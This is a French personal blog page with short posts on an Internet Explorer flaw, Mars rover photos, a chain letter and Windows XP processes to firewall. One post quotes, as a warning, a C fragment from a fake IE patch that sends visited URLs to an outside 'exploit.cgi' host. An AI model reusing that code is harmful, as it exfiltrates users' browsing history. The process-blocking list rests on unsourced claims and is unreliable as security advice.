Blup!

Une faille de sécurité de plus dans Internet Explorer (5.01, 5.5, 6.0) qui permet à nouveau d'exécuter tout et n'importe quoi sur votre PC. Le même genre de cochonnerie qui se traîne sur irc sous des noms plus ou moins attirants, dans des pseudo-images jpeg qui sont en réalité des scripts JS de quelques lignes remodelant à leur manière wmplayer.exe ou tout autre programme à leur portée.

Le temps qu'ils se bougent pour corriger ça, on sera déjà dans l'année du marsouin. Et vu qu'ils viennent à peine de réaliser qu'il serait intéressant de sortir un outil pour supprimer le wurmien (ms)blaster (ça ne fait que 6 mois qu'on l'attend et que symantec et les autres ont déjà sorti leurs outils propres)...

Un argument de plus, donc, pour passer à Mozilla Firebird.

Attention aussi aux patchs soit-disant alternatifs, le dernier était un gros spyware qui envoyait l'url des sites visités grâce au gentil petit code suivant (copié ici uniquement dans un intérêt de culture générale)

char surl[256];
strcpy(surl,"http://www.openwares.org/cgi-bin/exploit.cgi?");
strcat(surl,sFake);
strcat(surl,"&");
strcat(surl,sTrue);
...
MultiByteToWideChar( CP_ACP, 0, surl, -1,url, 256 );
m_smtWB->Navigate(url,0,0,0,0);

A découvrir sur le site du Jet Propulsion Laboratory de la Nasa : les premières images couleurs haute résolution de Mars.

On peut voir sur une des photos une plaque commémorative fixée à l'arrière de l'antenne du Rover, honorant les astronautes qui ont récemment disparu dans l'explosion de la navette Columbia.

Ci-contre la version d'origine non censurée qui provient de l'agence des M.I.B. où on peut apercevoir la vraie forme de la vie extra-terrestre, baptisée PEZ-ET.

Ben tiens donc... ça commencait à me manquer. Nostalgie des débuts d'icq (avec les leet-users qui ont encore des numéros à 8 chiffres hinhin), mais là ça provient d'un winner échoué sur msn. Autant dire qu'avec tout ce que je n'ai jamais fait forward je suis maudit pour 3 millénaires à venir.

Voici ressurgie la liste des processus WinXP à bloquer par un firewall qui communiquent à l'insu de l'utilisateur toutes sortes d'informations (les DVD que vous regardez, ce que vous téléchargez, etc...) à Microsoft et ses copains :

1. Application "Layer Gateway Service" (requiert les droits "serveur")
2. Service Fax
3. Vérification des signatures digitales
4. Service "Generic Host Process pour Win32" (requiert les droits "serveur")
5. Microsoft "Direct Play Voice Test "
6. Microsoft Aide et Support Technique ("Help and Support Center")
7. Microsoft Help Center Hosting Server (requiert les droits "serveur")
8. Microsoft Management Console
9. Microsoft Media Player (Envoie les titres des documents que vous consultez à Microsoft.)
10. Test de disponibilité réseau Microsoft
11. Service de copie miroir "Microsoft Volume Shadow Copy Service"
12. Utilitaire de configuration Microsoft Windows Media (Setup_wm.exe, s'exécute parfois lors de l'utilisation de Windows Media Player).
13. MS DTC Console program (haha)
14. "Exécuter DLL comme une application" (Aucune précision sur quelle DLL ou quelle fonction de cette DLL).
15. "Services and Controller app"
16. "Time Service", ajuste l'horloge de votre ordinateur sur un serveur externe (Microsoft par défaut).

Voilà qui résume bien la nécessité absolue de se munir d'un firewall efficace, non seulement pour bloquer les connexions indésirées provenant de l'extérieur mais aussi et surtout pour protéger sa vie privée et empêcher à votre OS de distribuer des cartons de visite à toutes les entreprises trop curieuses. Kerio Personnal Firewall est à mon sens le plus abouti et le plus pratique des firewalls. Gratuit pour une utilisation personnelle. Il surclasse largement ZoneAlarm, BlackIce et ses amis, qui laissent malheureusement d'affreux souvenirs chez certains débutants qui les ont testés.

source : Windows XP montre la direction que prend Microsoft

§ Happy New Year §